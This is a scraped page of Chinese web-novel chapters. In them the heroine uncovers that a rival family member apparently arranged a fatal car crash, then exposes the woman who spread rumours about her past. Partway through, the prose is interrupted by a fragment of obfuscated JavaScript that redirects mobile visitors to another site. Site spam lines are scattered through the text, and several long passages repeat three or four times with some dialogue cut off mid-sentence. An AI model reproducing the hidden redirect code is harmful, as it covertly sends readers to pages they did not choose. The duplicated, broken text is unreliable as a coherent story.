连呼吸声都仿佛凝滞。 过了好一会儿,明燃的声音才传来,比刚才更低,也更沉:“怎么突然问这个?” “我就是……想知道。” 明燃在那边似乎叹了口气,很轻。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “知道得不多。圈子里传的,就是车祸。很突然。当时傅家乱了一阵,但很快就压下去了,消息捂得严,具体细节……没人敢多打听。 他顿了顿,语气带上了惯有的敏锐和警惕:“像傅家那种豪门世家,有些痛处,是不愿意摊开给外人看的。你问这个,是不是听说了什么? 明嫣闭了闭眼。 果然。 连大哥都只知道是车祸。 “傅修沉的父亲,她一字一句,声音轻得像怕惊动什么,“可能不是单纯的意外。 “…… 电话那头,明燃的呼吸明显重了一下。 “不是意外……他重复这三个字,声音压得极低,“如果真是这样……那傅家这潭水,比我想的还要浑,还要深。 牵扯到上一代的生死,那就绝不是简单的利益争斗了。 是血仇。 明嫣没说话,只觉得寒气顺着脊椎往上爬。 “你真想知道当**情?明燃问。 “嗯。 “那就去找许宴清问问。明燃嗓音低沉,“他跟傅修沉从小一起混大的,穿一条裤子都嫌肥。傅家的事,尤其傅修沉的事,他可能比傅家有些人还清楚。 许宴清? 他嘴里能问出东西? 明嫣想起那个总是笑起来桃花眼弯弯,玩世不恭里透着精明的男人,不禁有些怀疑。 “不过,明燃话锋一转,语气里带上点难得的促狭,“你打电话问他,他未必肯说。那小子精得很,对傅修沉更是死心塌地。 “那我该怎么办? “当面问。明燃似乎点了支烟,声音有些模糊,“约他出来,直说。看他卖不卖你这个‘嫂子’的面子。 嫂子…… 明嫣耳根微热。 “哥…… 明燃轻笑了一声,没再逗她,话锋一转,语气稍微缓和了些,“傅修沉这次帮明氏渡过难关,是大人情。改天约个时间,我请他吃顿饭,当面道谢。你也一起。 “……嗯。 挂了电话,明嫣握着手机,看着窗外沉下来的天色。 她想起傅修沉今天挡在她身前时,那绷紧到极致的背脊…… 她点开通讯录,找到那个许久没拨过的号码——许宴清。 …… 酒吧里的灯光幽暗,音乐声震耳欲聋,空气里弥漫着烟酒和香水的混合气味,奢靡又颓唐。 明嫣穿过拥挤喧嚣的人群,按照电话里 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 的地址推开了顶层贵宾包间的门。 只见许宴清慵懒地靠在沙发上,他穿着一件黑色的丝质衬衫,领口敞着,袖口随意挽到手肘,露出线条流畅的小臂和腕上一块限量款的机械表。 指尖夹着烟,没抽,任由那点猩红在变幻的灯光下明明灭灭。 另一只手握着杯琥珀色的威士忌,冰块碰撞杯壁,发出清脆的细响。 他正偏头和旁边一个妆容精致、身材火辣的女人低声说着什么,嘴角噙着笑,那笑容风流又疏离,眼底却没什么温度。 似乎是听到门口的动静,许宴清转过头来。 看到明嫣的瞬间,他眉梢几不可察地挑了一下,随即抬手,对旁边的女人做了个简单的手势,女人撇撇嘴,不太情愿地扭着腰走了。 “稀客啊,明大律师。”许宴清将烟摁灭在水晶烟灰缸里,转过身,手肘抵在膝盖上,一双桃花眼笑眯眯地望着她,“找我有事?” 明嫣在他旁边的空位坐下,“有点事想问你。” 她开门见山,没打算绕弯子。 “什么事儿?”许宴清低笑一声,“还犯得着跑来问我,你家傅少对你可是掏心掏肺……” 许宴清晃着酒杯,眼神在缭绕的烟雾后显得有些捉摸不定,“怎么,吵架了?” “不是。”明嫣摇头,看着他的眼睛,“我想知道傅修沉他父亲……当年到底是怎么回事?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808256|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >许宴清脸上的笑意淡了下去。 他盯着明嫣看了几秒,眼神里的轻浮慢慢褪去,取而代之的是一种锐利的审视。 然后,他掐灭了手里的烟。 “怎么不问傅修沉?” “我不想亲手揭他伤疤,可又担心他……” 许宴清抿了抿唇,脸上的笑意已然收敛了个一干二净,连带着眼神都深了下去,像蒙上了一层雾。 他没接话,只是拿起酒瓶,又给自己倒了小半杯,然后轻晃着酒杯。 琥珀色的液体在杯壁上挂出浅痕。 “你想知道什么?”他问,声音比刚才沉了几分。” “他父亲,当年真的是意外车祸去世的吗?”明嫣问得直接,心却提了起来。 许宴清没立刻回答。 他端起酒杯,将里面剩余的酒液一饮而尽,喉结滚动。 “是车祸。”他开口,声音有些干,“但……不完全是意外。” 明嫣的心猛地一沉。 他弹了弹烟灰,身体往后靠进柔软的沙发里,目光落在虚空中,像是在回忆。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “傅承业,就是修沉他爸,出事那年,修沉刚上高二。”许宴清的声音没什么起伏,像是在说一件与己无关的旧闻,“车祸,很惨。车直接从山道上冲下去了,找到的时候,几乎不成形。” 明嫣心脏猛地一揪。 “当时,修沉也在车上。” “什么?!”明嫣失声,脸色瞬间白了。 许宴清看了她一眼,眼神复杂。 “命大,没死。但在医院躺了一个多月,断了几根骨头,脑震荡,身上全是伤。醒来之后,他爸已经下葬了。” 明嫣攥紧了杯子,指尖用力到发白。 她想象不出,一个十六七岁的少年,是怎么扛过来的。 “然后呢?”她的声音有点哑。 “然后?”许宴清扯了扯嘴角,那笑意冰冷,“然后傅家就热闹了。老爷子当时身体就不太好,傅伯父一死,继承人的位置空了出来。就属傅修沉那个二叔傅承平跳得最欢。那时候他还没现在这么废物,手段也有,野心更大。” “修沉和他妈,孤儿寡母,老爷子又因为丧子之痛病了一场,一时顾不上。傅承平趁机揽权,排挤他们母子。公司里,家里,都是他的人。修沉他妈……性子软,撑不住,被欺负的在傅家几乎抬不起头来。” 明嫣闭上眼,胸口堵得难受。 “那几年,修沉过得……”许宴清顿了顿,似乎在斟酌用词,“很不好。圈子里都是看人下菜碟的,傅家未来的继承人换了风向,以前巴结他的人,现在躲着他走,甚至跟着傅承平一起踩他。他在学校……也被排挤得厉害。傅承平授意的。” 许宴清的语气一直很平淡,但明嫣却能听出底下汹涌的暗流。 那不是一个‘不好’能概括的。 那是孤立无援,是步步杀机,是一个少年在失去至亲后,还要面对来自血脉至亲的算计和冷漠。 “他就那么忍着?”明嫣问,声音发颤。 “不忍能怎么办?”许宴清看了她一眼,“那时候他才多大?没权没钱没人,拿什么跟傅承平斗?老爷子……呵,老爷子那时候的心思,谁也摸不准。或许是想磨炼他,或许是觉得傅承平更能稳住局面,或许……就是单纯地老了,心软了,顾念着另一个儿子。” “修沉能做的,就是活下去,然后……”许宴清顿了顿,喝了口酒,“然后,让自己变得有用,变得让他们不敢再随意拿捏。” “所以……他大学学了生物工程?创立了跃华?”明嫣似乎明白了什么。 “对。”许宴清点头,眼底掠过一丝锐光,“他那脑子,天生就是吃这碗饭的。大学没毕业就拉着几个信得过的同学、师兄,闷头搞研发。钱是问题,他就想办法拉投资,找门路,什么法子都试过。最艰难的时候,他卖过自己名下的股份,也找我们这些人借过钱。” 许宴清说到这里,笑了一下,那笑容里带着点怀念,也带着点感慨:“我们都以为他就是小打小闹,毕竟那会儿他才多大?可谁能想到,他真搞出来了。跃华的第一款专利药,一炮而红。那之后,就像开了挂,短短几年,跃华的估值翻了几千倍都不止。硬生生在傅氏集团之外,开辟出了属于自己的商业王国。” 明嫣听着,心潮起伏。 她能想象那其中的艰辛和凶险。 傅承平会眼睁睁看着他起来吗? 必然不会。 那些年,傅修沉面临的明枪暗箭,恐怕比她知道的要多得多…… 第202章 精心策划的**(加更) “有了跃华,他在傅家才有了真正的话语权。” 许宴清吐了口烟,“老爷子开始正视这个孙子,傅承平慌了,想打压,却已经压不住了……” “傅修沉做事狠,对自己狠,对对手更狠。跃华起来的过程中,傅承平暗中使的绊子不少,都被修沉一一化解,反过来还咬下了傅氏几块肥肉。”他冷笑一声,“那几年,傅家内部斗得厉害,但修沉的根基,已经扎稳了。” 包厢里安静下来,只有外面隐约传来的音乐声。 明嫣消化着这些信息,心脏沉甸甸的。 她终于明白,傅修沉身上那种与年龄不符的深沉和狠戾是从何而来。 那不是天生的,那是一寸寸从荆棘和血污里磨出来的。 “所以……”她抬起眼,看向许宴清,“他父亲的死,真的和他二叔傅承平有关?” 许宴清没立刻回答。 他掐灭了烟,又点了一支,火光在昏暗里明灭。 “傅修沉从来没拿到过确凿证据。” 许宴清缓缓道,“时间太久,现场处理得太‘干净’。但他不信是意外。出事前,傅伯伯正打算清理傅承平在集团的一些手脚,两人闹得很不愉快。出事那天,原本是傅伯伯单独去见一个客户,临时决定带上傅修沉……结果就出了事。” 许宴清顿了顿,声音压得更低:“傅少后来查过,那天的司机,是傅承平推荐给傅伯伯的。车祸后,司机当场死亡。司机的家人,在事发后不到一个月,就举家移民,消失得无影无踪。” 明嫣只觉得一股寒意从脚底升起。 如果真是这样…… 那简直是一场精心策划的**! 连亲侄子都可以一起葬送! “老爷子……知道吗?” 许宴清扯了扯嘴角,“知道如何?不知道又如何?傅伯伯已经**,傅修沉还活着,傅承平也是他儿子。傅家需要稳定,需要继承人。在老爷子眼里,或许……平衡和家族延续,比真相更重要。” 所以,傅修沉才会那样恨。 恨傅承平,或许……也恨老爷子的冷漠和权衡。 他从未将希望寄托于任何人的给予,包括他的亲爷爷。 明嫣坐在那里,感觉全身的力气都被抽空了。 她为傅修沉心疼,疼得五脏六腑都绞在一起。 可同时,又有一种沉甸甸的东西压下来。 那不是简单的同情,而是一种清晰的认知——她爱的这个男人,是从怎样的地狱里爬出来的 。 他身上背负的东西,远比她想象的更黑暗,更沉重。 “谢谢你告诉我这些,许少。”她声音干涩。 许宴清摆摆手,又恢复了那副玩世不恭的样子。 “告诉你这些,是觉得你有权知道。傅修沉那家伙,什么都喜欢自己扛。但他对你……”许宴清看着她,眼神认真了几分,“是真不一样。他肯为你跟他爷爷撕破脸到那种地步,连这种话都不避讳你,说明你在他心里的分量,比傅家那点基业重。” 他顿了顿,语气带着点难得的郑重:“明嫣,傅家这摊浑水,踏进来就别想干净。傅修沉他这一路以来走得不容易,以后的路,恐怕更不太平。你如果决定了要跟他走下去,就得有心理准备。有些事,不是你想躲就能躲开的。” 明嫣迎着他的目光,缓缓点了点头。“我明白。” 从酒吧出来,夜风冷冽,吹在脸上刀割一样。 明嫣没有立刻叫车,她沿着空旷的街道慢慢走。 脑子里嗡嗡作响,许宴清的话,傅修沉的眼神,老爷子的慌乱…… 交织在一起,撕扯着她的神经。 她想起傅修沉偶尔流露出的疲惫,想起他抱着她时手臂收得那么紧,想起他提起傅家时,眼底那一闪而过的讥诮。 原来那不是她的错觉。 他曾经没有家。 他是在废墟和背叛上,自己一点一点,搭建起了属于他的堡垒。 而跃华,就是他最坚固的盔甲和最锋利的武器。 手机在口袋里震动起来。她拿出来看,屏幕上跳动着傅修沉三个字。 她盯着那名字看了好几秒,才划开接听。 “在哪儿?”他的声音传来,低沉,带着一丝不易察觉的紧绷。 他知道了? 知道她去见了许宴清? 还是……只是因为她出来太久? “刚从外面回来,在路上。”她尽量让声音听起来平静。 电话那头沉默了一下。 “……一个人?” “嗯。” “地址发我,我去接你。” “不用,我叫车了,很快就到。”她顿了顿,轻声问,“你……还在公司?” “嗯,处理点事。”他顿了顿,“你放心,老爷子那边,不会再找你麻烦。” 他说得笃定,不容置疑。 明嫣鼻子一酸,差点没忍住眼泪。 她吸了吸鼻子,把那股酸涩压下去。“傅修沉……” “嗯?” “没什么。”她最终没问出口。 那些血淋淋的过去,她怎么忍心再让他亲口撕开一遍? “就是……想你了。” 电话那头又静了几秒。 然后,她听到他极轻地笑了一声,那笑声穿过电流,带着磁性的沙哑,撞在她心尖上。 “马上回去。”他说,“等我。” 挂了电话,明嫣站在街边,看着流光溢彩的车河,心里那团乱麻似乎渐渐理出了一点头绪。 是的,傅家的水很深,很浑,很危险。 但傅修沉在那里。 他不是需要她保护的脆弱少年,他是从尸山血海里杀出来的王。 他的过去她来不及参与,他的伤口她无法抚平。 她能做的,就是站在他身边,看清楚他走来的路,然后,陪他一起面对前方或许更险恶的风浪。 不是怜悯,不是拯救。 是并肩。 冷风再次刮过,她裹紧了大衣,抬手拦了辆出租车。 车厢内暖气很足,窗外的夜景飞速**。 她靠着车窗,闭上眼睛。 傅修沉。 她在心里默念这个名字。 这一次,换我来走近你。 走近你的过去,你的伤痕,你深不见底的黑暗。 然后,握紧你的手,一起走向我们的未来。 无论那未来,是花团锦簇,还是…… 荆棘密布。 她都同他一起! “小姐……” 就在这时,出租车司机突然扫了一眼后视镜里的明嫣道,“后面跟这的那几辆黑车是你朋友吗?” 后面? 明嫣猛地回头—— “嗯?” “没什么。”她最终没问出口。 那些血淋淋的过去,她怎么忍心再让他亲口撕开一遍? “就是……想你了。” 电话那头又静了几秒。 然后,她听到他极轻地笑了一声,那笑声穿过电流,带着磁性的沙哑,撞在她心尖上。 “马上回去。”他说,“等我。” 挂了电话,明嫣站在街边,看着流光溢彩的车河,心里那团乱麻似乎渐渐理出了一点头绪。 是的,傅家的水很深,很浑,很危险。 但傅修沉在那里。 他不是需要她保护的脆弱少年,他是从尸山血海里杀出来的王。 他的过去她来不及参与,他的伤口她无法抚平。 她能做的,就是站在他身边,看清楚他走来的路,然后,陪他一起面对前方或许更险恶的风浪。 不是怜悯,不是拯救。 是并肩。 冷风再次刮过,她裹紧了大衣,抬手拦了辆出租车。 车厢内暖气很足,窗外的夜景飞速**。 她靠着车窗,闭上眼睛。 傅修沉。 她在心里默念这个名字。 这一次,换我来走近你。 走近你的过去,你的伤痕,你深不见底的黑暗。 然后,握紧你的手,一起走向我们的未来。 无论那未来,是花团锦簇,还是…… 荆棘密布。 她都同他一起! “小姐……” 就在这时,出租车司机突然扫了一眼后视镜里的明嫣道,“后面跟这的那几辆黑车是你朋友吗?” 后面? 明嫣猛地回头—— “嗯?” “没什么。”她最终没问出口。 那些血淋淋的过去,她怎么忍心再让他亲口撕开一遍? “就是……想你了。” 电话那头又静了几秒。 然后,她听到他极轻地笑了一声,那笑声穿过电流,带着磁性的沙哑,撞在她心尖上。 “马上回去。”他说,“等我。” 挂了电话,明嫣站在街边,看着流光溢彩的车河,心里那团乱麻似乎渐渐理出了一点头绪。 是的,傅家的水很深,很浑,很危险。 但傅修沉在那里。 他不是需要她保护的脆弱少年,他是从尸山血海里杀出来的王。 他的过去她来不及参与,他的伤口她无法抚平。 她能做的,就是站在他身边,看清楚他走来的路,然后,陪他一起面对前方或许更险恶的风浪。 不是怜悯,不是拯救。 是并肩。 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只见身后车流如织,几束车灯晃得人眼花,确实有两三辆黑车不远不近跟着,款式普通,混在车流里并不起眼。 可就在她回头的瞬间,那几辆车忽然打了转向灯,齐齐拐进了右边的岔路。 尾灯的红光一闪,消失在街角。 “小姐,对不住啊。”司机挠挠头,“可能是我看岔了,这大晚上的……” 明嫣没吭声,攥着手机的手心出了一层薄汗,胸口那股突突跳的劲儿还没下去。 难道是她多想了? 正胡思乱想的时候,手机却突然震动了起来,是陆奉归打来打电话。 电话一接通就响起他尤为亢奋的嗓音,“老大,我好像挖到了一个惊天大消息!是关于秦婉的……” 待听完,明嫣不由得皱眉,“我知道了,我一会儿回律所。” “师傅,麻烦改道去外滩金融中心。” 司机应了一声,打转向灯变道。 明嫣靠在椅背上,窗外霓虹的光流掠过她没什么表情的脸。 秦婉…… 这次可要好好跟她算算账了! …… 而秦婉这几天过得可谓焦头烂额。 眼见着婚期将近,可霍寒山对她却始终不冷不热。 【寒山,婚纱照的样片出来了,你看看这张……】 【你定就行。】 【那请柬的样式……】 【随便。】 秦婉攥着手机,指甲掐进屏幕保护膜里。 又是这样。 永远是这样。 秦婉把手机狠狠摔在沙发上。 婚纱照、请柬、酒店菜单…… 所有婚礼细节,他都丢给她一个人定。 人倒是还在,每天回家,睡在客卧。 可那副样子,跟住酒店没什么区别。 不,住酒店还得跟前台说话。 他连话都懒得跟她说。 秦婉盯着茶几上那堆婚礼策划案,红艳艳的封面刺得她眼睛疼。 她抓起一本,用力撕成两半,又撕,碎片雪一样落在地毯上。 她起身在客厅里转圈,高跟鞋踩得咚咚响。 凭什么? 明嫣那个扫把星,爹都快**,公司都快垮了,凭什么还能勾着男人的魂? 秦婉气冲冲地抓起车钥匙就往外冲。 半小时后,车子就停在了城郊的一处别墅外。 王梅这会儿正坐在院子里择菜 。 见秦婉红着眼圈冲进来,她吓了一跳,手在围裙上擦了擦:“婉儿?怎么了这是?” “梅姨!”秦婉扑过去,一把抱住王梅的胳膊,眼泪说来就来,“寒山他……他欺负我!” 王梅脸色一变,拉着她进屋:“慢慢说,怎么回事?寒山那孩子怎么会欺负你?” 秦婉抽抽噎噎,把霍寒山如何冷落她,如何对她不耐烦,如何心里还惦记着明嫣,添油加醋说了一遍。 “梅姨,我才是他未婚妻啊!”她哭得肩膀颤抖,“可他现在连正眼都不看我一眼!满心满眼都是那个明嫣!整天抱着手机看那个**的照片!梅姨,这婚我没法结了!” 王梅听着,脸色越来越沉。 明嫣。 又是那个明嫣。 自从上次知道明嫣攀上了傅家那个太子爷,她对那丫头的印象就一落千丈。 长得是漂亮,可心也太高了。 当初说爱寒山爱的死去活来,可转头就找了更有钱的。 现在婚都订了,还来勾着寒山不放…… “婉儿别哭。”王梅拍着秦婉的背,“那丫头一看就不是个安分的!我早就看出来了!” 她啐了一口,满脸的忿忿不平,“当年要不是寒山救她,她早被人糟蹋了!不知感恩的东西,现在还来勾引我儿子!” 秦婉哭声一顿。 她慢慢放下捂脸的手,睫毛上还挂着泪珠:“梅姨……你说什么?寒山救过明嫣?” 王梅眼神闪烁了一下,像是意识到说漏了嘴,但看着秦婉红彤彤的眼睛,那股替儿子不平的怨气又冲了上来。 “可不是!”她压低声音,身子往前凑,“那都是好些年前的事了。明嫣有天晚上在学校后巷,被几个混混盯上了。正好寒山路过,把人打跑了。具体怎么回事我也不清楚,是明嫣后来跟我说,我才知道。” 她撇撇嘴:“要我说,那丫头就是灾星。长得一副勾人相,走哪儿哪儿不太平。寒山也是傻,救了她,她倒好,黏上来了。那阵子天天往我们家跑,送这送那,寒山对她爱答不理,她还上赶着。” 秦婉听得眼睛发亮,呼吸都急了。 救过命。 难怪。 难怪明嫣当年倒贴得那么厉害,霍寒山那样对她,她还舍不得放手。 原来是有这层缘故。 “梅姨,”秦婉抓住王梅的手,“你再仔细说说,那天晚上……明嫣到底有没有被……” 王梅面色有些不自然地抽回手,含 含糊糊道:“这我哪知道?明嫣怎么可能跟我说这些?不过你想想,深更半夜,几个大男人围着一个姑娘……能有什么好事?” 她顿了顿,声音更低,“就算没到最后一步,身子肯定也被摸遍了。清白姑娘,哪经得起这个?” 秦婉心脏狂跳起来。 一个念头像毒藤一样疯狂滋生。 她松开王梅的手,慢慢靠回沙发里,嘴角一点点弯起来。 王梅看着她突然不哭了,心里有点发毛:“好了,那些陈年旧事,还提它干嘛?” “嗯,那就不提了。”秦婉站起身,理了理裙摆,“梅姨,我改天再来看你。婚礼的事,还得您多帮着操心。” 王梅看着她的背影,张了张嘴,想说什么,最终却只是叹了口气。 秦婉走出别墅,刚上车就迫不及待地拿出手机——【帮我办件事。价钱好说。】 对方回得很快:【秦小姐吩咐。】 秦婉冷笑,直接转了笔钱过去。 转账成功的提示音响起。 对方立刻回复:【秦小姐爽快。放心,最迟明天晚上,保证让该知道的人都知道。】 秦婉收起手机,嘴角勾起一丝冷笑。 …… 两天后,魔都某个圈子的私人群里,开始流传一段“秘闻”。 消息从一个小群,窜到另一个小群。 添油加醋,细节越来越丰满。 时间、地点、人物,甚至还有目击者的模糊描述。 而像这种八卦,真真假假掺在一起,最难分辨。 传了一天后,甚至已经不止在一个圈子里流传。 而此时的嫣然律所。 明嫣站在落地窗前,手里拿着陆奉归刚送来的报告。 窗外天色阴沉,像要下雨。 “查清楚了?”她没回头,声音很平静。 陆奉归站在她身后,脸色难看:“源头很难追溯,传话的人太多了。但最早几个散播的账号,IP地址都指向城西几个网吧和租赁公寓。注册身份是假的,但……” “但什么?” 陆奉归深吸一口气:“其中一个账号,在散播谣言前,收到过一笔转账。转账方是一个空壳公司,但资金最终流向……是秦婉的私人账户。” 明嫣缓缓转过身。 脸上没什么表情,眼神却冷得像冰,“秦婉……” 她极轻地笑了一声。 那笑声里没什么温度。 “准备一下。”她说,“把这些 东西,都整理好。尤其是资金流水和照片,打印出来,多备几份。” 陆奉归一愣:“老大,你要做什么?” 明嫣没回答。 她走到办公桌前,拉开抽屉,从里面拿出一份档案袋。 那是她这些天让陆奉归做的DNA检测报告,上面秦婉和赵老四的样本检测的亲权率大于0.9999%。 那日赵老四对自己下手时,明嫣就察觉出这两人关系不对,原来是……亲父女。 明嫣盯着手里的档案袋,指尖在边缘处轻轻划过。 然后,她拿起手机,拨了个号码。 电话很快接通。 “傅修沉。”她开口,声音平静,“有件事,需要你帮忙。” …… 而就在谣言传得沸沸扬扬的第三天,明嫣收到了傅家老宅的电话。 福伯的声音一如既往的恭敬,“明小姐,老爷子请您过来一趟,有些事,想当面问问您。” 明嫣握着电话,唇角弯起一丝弧度。 “好,我马上过去。” 半个小时后,明嫣赶到傅家老宅。 此时客厅的气氛沉得能拧出水。 傅老爷子坐在主位太师椅上,手里盘着那对核桃,脸色铁青。 傅老夫人坐在他旁边,捻着佛珠,眼睛半闭,嘴角往下撇。 秦婉和傅承慧也在。 只不过,自从陆凛消失后,傅承慧在这个家的存在感也越来越低了。 倒是秦婉,她今天穿了身鹅黄色的连衣裙,妆容精致,坐在傅老夫人下首的椅子上,手里捧着杯茶,小口抿着,眼角眉梢却藏不住得意。 见明嫣进来,傅老爷子眉头微微皱了皱,自从上次撕破脸,这还是两人第一次见面,他抿着唇没说话,就只盯着她,眼神锐利得像刀子。 明嫣在客位的椅子上坐下,腰背挺直。 “嫣丫头,”傅老爷子终于开口,声音沉缓,“今天叫你来,是有件事,想当面问问你。” 他沉默了几秒,似乎在斟酌措辞,“外面的传言,你都听到了?” 明嫣抬眼看他:“听到了。” “你怎么说?” “谣言。”她吐出两个字,干脆利落。 “谣言?”傅老夫人忽然睁开眼,眼神冷飕飕地扫过来,“无风不起浪。要是你当年真的清清白白,谁会编这种瞎话?我们傅家娶媳妇,讲究的是身家清白。你要是真有什么不干净的过往,趁早说清楚,别等进了门,丢傅家的脸!” 话说得直白又难听。 明嫣脸上没什么表情,只抬眼看向傅老夫人:“老夫人,您说我身家不清白,有证据吗?” 傅老夫人噎住,脸色涨红:“还要什么证据?满城都在传!” “满城传的,就是真的?”明嫣轻轻笑了一下,那笑意没到眼底,“那要是明天满城传老夫人您年轻时如何如何,您也认吗?” “你——!”傅老夫人气得手抖。 秦婉连忙上前:“奶奶您别生气,明嫣她也是着急,口不择言。” 她转头看向明嫣,眼神里带着责备,“明嫣,你怎么能这么跟奶奶说话?奶奶也是为你好,为傅家好。那些话传得那么难听,总要有个说法。要不……你把当**,原原本本说一遍?要是真有误会,也好解释清楚。” 她语气恳切,一副为明嫣着想的样子。 明嫣看着她,忽然问:“秦婉,那些谣言,是你散出去的吗?” 秦婉脸色一变,随即露出委屈又震惊的表情:“明嫣,你怎么能这么想我?我知道你一直不喜欢我,觉得我抢了寒山,可……可我也没理由害你啊!这种毁人名节的事,我怎么会做?” 她说着,眼泪啪嗒掉下来,转向傅老爷子:“爷爷,您要为我做主,明嫣她冤枉我……” 傅老爷子眉头紧锁,看向明嫣:“嫣丫头,说话要有证据。” “证据我有。”明嫣从包里拿出一个文件袋,放在桌上,“这是谣言传播的溯源报告,最早发布的几个账号,资金流向,中间人信息,都在里面。最终指向的雇佣者,是秦婉。” 秦婉脸色瞬间煞白。 “你胡说!”秦婉猛地站起来,声音尖利,“明嫣!你自己不干净,还想往我身上泼脏水?!” 明嫣没理她,只是翻开文件夹,抽出几张纸。 “这是最早散播谣言的几个网络账号的ip追 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秦婉张了张嘴,却发不出声音,冷汗顺着她的鬓角滑下来。 “我……我……”秦婉脸色灰败,“明嫣,我错了,我跟你道歉好不好?谣言的事,我会出面澄清,绝不会让你名声受损。” “道歉?”明嫣抬眼,“造谣毁人名节,一句道歉就够了?” “那你想怎么样?” “秦婉,”她开口,声音很轻,“如果今天,我没有这些证据,你会放过我吗?” 秦婉哭声一顿。 “你不会。”明嫣替她回答,“你会让谣言传遍全城,让我身败名裂,让我在沪上待不下去,对吗?” 秦婉嘴唇哆嗦,说不出话。 “所以,”明嫣轻轻抽回自己的腿,往后退了一步,“我为什么要原谅你?” ,您要相信我!是明嫣她嫉妒我!嫉妒我要嫁给寒山,所以才陷害我!” 她转头,看向明嫣,眼神怨毒:“你说我指使人?证据呢?就凭几张不知道哪里弄来的纸?谁知道是不是你找人p的!” 明嫣看着她表演,嘴角勾起一抹极淡的弧度。 “你要证据?”她声音不高,却让秦婉心头一凉。 明嫣从文件夹里又抽出一张纸,这是一张资金流水的往来证明。 “你自己转的账,总不能还说诬陷了吧?” 秦婉张了张嘴,却发不出声音,冷汗顺着她的鬓角滑下来。 “我……我……”秦婉脸色灰败,“明嫣,我错了,我跟你道歉好不好?谣言的事,我会出面澄清,绝不会让你名声受损。” “道歉?”明嫣抬眼,“造谣毁人名节,一句道歉就够了?” “那你想怎么样?” “秦婉,”她开口,声音很轻,“如果今天,我没有这些证据,你会放过我吗?” 秦婉哭声一顿。 “你不会。”明嫣替她回答,“你会让谣言传遍全城,让我身败名裂,让我在沪上待不下去,对吗?” 秦婉嘴唇哆嗦,说不出话。 “所以,”明嫣轻轻抽回自己的腿,往后退了一步,“我为什么要原谅你?” ,您要相信我!是明嫣她嫉妒我!嫉妒我要嫁给寒山,所以才陷害我!” 她转头,看向明嫣,眼神怨毒:“你说我指使人?证据呢?就凭几张不知道哪里弄来的纸?谁知道是不是你找人p的!” 明嫣看着她表演,嘴角勾起一抹极淡的弧度。 “你要证据?”她声音不高,却让秦婉心头一凉。 明嫣从文件夹里又抽出一张纸,这是一张资金流水的往来证明。 “你自己转的账,总不能还说诬陷了吧?” 秦婉张了张嘴,却发不出声音,冷汗顺着她的鬓角滑下来。 “我……我……”秦婉脸色灰败,“明嫣,我错了,我跟你道歉好不好?谣言的事,我会出面澄清,绝不会让你名声受损。” “道歉?”明嫣抬眼,“造谣毁人名节,一句道歉就够了?” “那你想怎么样?” “秦婉,”她开口,声音很轻,“如果今天,我没有这些证据,你会放过我吗?” 秦婉哭声一顿。 “你不会。”明嫣替她回答,“你会让谣言传遍全城,让我身败名裂,让我在沪上待不下去,对吗?” 秦婉嘴唇哆嗦,说不出话。 “所以,”明嫣轻轻抽回自己的腿,往后退了一步,“我为什么要原谅你?” ,您要相信我!是明嫣她嫉妒我!嫉妒我要嫁给寒山,所以才陷害我!” 她转头,看向明嫣,眼神怨毒:“你说我指使人?证据呢?就凭几张不知道哪里弄来的纸?谁知道是不是你找人p的!” 明嫣看着她表演,嘴角勾起一抹极淡的弧度。 “你要证据?”她声音不高,却让秦婉心头一凉。 明嫣从文件夹里又抽出一张纸,这是一张资金流水的往来证明。 “你自己转的账,总不能还说诬陷了吧?” 秦婉张了张嘴,却发不出声音,冷汗顺着她的鬓角滑下来。 “我……我……”秦婉脸色灰败,“明嫣,我错了,我跟你道歉好不好?谣言的事,我会出面澄清,绝不会让你名声受损。” “道歉?”明嫣抬眼,“造谣毁人名节,一句道歉就够了?” “那你想怎么样?” “秦婉,”她开口,声音很轻,“如果今天,我没有这些证据,你会放过我吗?” 秦婉哭声一顿。 “你不会。”明嫣替她回答,“你会让谣言传遍全城,让我身败名裂,让我在沪上待不下去,对吗?” 秦婉嘴唇哆嗦,说不出话。 “所以,”明嫣轻轻抽回自己的腿,往后退了一步,“我为什么要原谅你?” 第204章 揭穿身世!(二合一大章) 客厅里死寂。 傅老夫人盯着明嫣,手里的佛珠捻得咯咯响。 “明嫣,得饶人处且饶人。”她声音干涩,带着不容置疑的威压,“婉儿已经认错了,她都承认了,那些谣言是假的,清者自清,你何必揪着不放?传出去,外人只会觉得我们傅家内宅不宁,兄弟姊妹间倾轧得难看。傅家的脸面,比什么都重要!” 明嫣听着,忽然觉得有些可笑。 还真是明晃晃的道德**。 她脊背挺得笔直,看向傅老夫人:“傅家的脸面重要,还是我的清白重要?” “你的清白自然重要!”傅老夫人拔高声音,“可婉儿也是一时糊涂!她现在知道错了,愿意弥补,你还要怎样?非要闹得家宅不宁,让全城看我们傅家笑话吗?!你是修沉的未婚妻,将来就是傅家的女主人,连这点容人的度量都没有?” 秦婉立刻膝行几步,朝明嫣磕头,哭得梨花带雨:“明嫣,我真的知道错了!我鬼迷心窍,我嫉妒你……我以后再也不敢了!求你原谅我这一次,我保证出面澄清,把你的名声挽回来!求你了……” 她哭得情真意切,仿佛真的悔不当初。 明嫣却无动于衷,甚至连多余的眼神都没给她。 傅老夫人的眉头微皱,嗓音微沉,“婉丫头做错了事,是该罚。可你这般咄咄逼人,传出去,别人怎么看傅家?新嫂子进门,就容不下小姑子?逼得人下跪认错?” 她顿了顿,目光钉子似的扎过来:“家丑不可外扬。婉丫头已经认错了,你也拿了证据,事情到此为止。让她起来,对外就说,是误会。傅家给你做主,往后没人再敢乱嚼舌根。” 秦婉跪在地上,低着头,肩膀轻颤,眼泪一颗颗砸在地毯上,没出声,可怜极了。 傅老夫人看她一眼,又看明嫣,语气缓了点,却更不容反驳:“嫣丫头,你是要进傅家门的人。得识大体,顾大局。为了这点事闹得家宅不宁,不值当。听奶奶的,这事,翻篇。” 翻篇? 明嫣指尖掐进掌心。 好一个识大体,顾大局。 